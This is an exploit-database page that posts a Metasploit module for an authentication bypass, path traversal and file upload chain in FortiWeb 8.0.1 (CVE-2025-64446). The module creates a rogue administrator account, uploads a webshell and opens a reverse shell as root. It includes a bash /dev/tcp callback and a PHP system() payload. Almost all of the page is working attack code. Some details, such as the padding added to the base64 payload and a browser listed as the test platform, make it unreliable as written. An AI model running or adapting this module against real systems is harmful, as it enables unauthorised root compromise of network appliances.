Share
## https://sploitus.com/exploit?id=PACKETSTORM:219673
==================================================================================================================================
    | # Title     : FortiWeb 8.0.1 Authentication Bypass + File Upload RCE Metasploit Module                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.fortinet.com                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a critical Remote Code Execution vulnerability in FortiWeb’s (CVE-2025-64446) management interface by chaining multiple weaknesses:
    
    Authentication Bypass β†’ Path Traversal β†’ Arbitrary File Upload β†’ Remote Code Execution (root)
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FortiWeb Remote Code Execution (CVE-2025-64446)',
            'Description' => %q{
              This module exploits a critical vulnerability in FortiWeb management interface
              that combines Authentication Bypass, Path Traversal, and Arbitrary File Upload
              to achieve Remote Code Execution as root.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2025-64446']
            ],
            'Platform' => ['linux', 'unix'],
            'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
            'Targets' => [
              [
                'Linux (Reverse Shell)',
                {
                  'Platform' => 'linux',
                  'Arch' => ARCH_CMD,
                  'Type' => :linux_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0
          )
        )
    
        register_options([
          Opt::RPORT(8443),
          OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptString.new('USERNAME', [false, 'Temporary admin username', 'pwnedadmin']),
          OptString.new('PASSWORD', [false, 'Temporary admin password', 'Pwned123!']),
          OptString.new('WEBSHELL_PATH', [false, 'Webshell path', '/pwned.dat'])
        ])
    
        register_advanced_options([
          OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell callback', 15])
        ])
      end
    
      def check
        print_status("Checking if target is vulnerable...")
    
        test_username = Rex::Text.rand_text_alpha(8)
        test_password = Rex::Text.rand_text_alpha(12)
    
        if create_admin_user(test_username, test_password)
          delete_admin_user(test_username)
          return Exploit::CheckCode::Vulnerable
        end
    
        Exploit::CheckCode::Safe
      end
    
      def exploit
        print_status("Starting exploitation against #{peer}")
    
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
    
        unless create_admin_user(username, password)
          fail_with(Failure::NotVulnerable, "Failed to create admin user")
        end
    
        unless login_admin(username, password)
          fail_with(Failure::UnexpectedReply, "Login failed")
        end
    
        webshell_path = upload_webshell
        fail_with(Failure::UnexpectedReply, "Webshell upload failed") if webshell_path.nil?
    
        register_files_for_cleanup(webshell_path)
    
        trigger_shell(webshell_path)
        delete_admin_user(username)
    
        Rex.sleep(datastore['SHELL_TIMEOUT'])
      end
    
      private
    
      def create_admin_user(username, password)
        payload = {
          "../../mkey" => username,
          "password" => password,
          "isadmin" => "1",
          "status" => "enable"
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.add'),
          'ctype' => 'application/json',
          'data' => payload.to_json
        })
    
        res && res.code == 200 && res.body.include?('success')
      rescue
        false
      end
    
      def login_admin(username, password)
        payload = {
          "username" => username,
          "password" => password
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2.0/login'),
          'ctype' => 'application/json',
          'data' => payload.to_json
        })
    
        res && res.code == 200 && res.body.include?('success')
      rescue
        false
      end
    
      def upload_webshell
        shell_code = generate_payload
        b64_shell = Rex::Text.encode_base64(shell_code) + "AAA=="
    
        data = Rex::MIME::Message.new
        data.add_part(
          b64_shell,
          'application/octet-stream',
          nil,
          "form-data; name=\"upload-file\"; filename=\"#{Rex::Text.rand_text_alpha(8)}.dat\""
        )
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2.0/system/maintenance/backup'),
          'ctype' => "multipart/form-data; boundary=#{data.boundary}",
          'data' => data.to_s
        })
    
        return datastore['WEBSHELL_PATH'] if res && res.code == 200
    
        nil
      rescue
        nil
      end
    
      def generate_payload
        case target['Type']
        when :linux_cmd
          p = payload.encoded
          return p if p && !p.to_s.empty?
          "bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"
    
        when :unix_cmd
          return payload.encoded
    
        else
          return %Q|<?php system("bash -c 'bash -i >& /dev/tcp/#{lhost}/#{lport} 0>&1'"); ?>|
        end
      end
    
      def trigger_shell(webshell_path)
        send_request_cgi({
          'method' => 'GET',
          'uri' => webshell_path
        }, datastore['SHELL_TIMEOUT'])
        true
      rescue
        true
      end
    
      def delete_admin_user(username)
        payload = {
          "../../mkey" => username
        }
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api/v2.0/user/local.delete'),
          'ctype' => 'application/json',
          'data' => payload.to_json
        })
    
        res && res.code == 200
      rescue
        false
      end
    
      def lhost
        datastore['LHOST']
      end
    
      def lport
        datastore['LPORT']
      end
    
      def peer
        "#{rhost}:#{rport}"
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================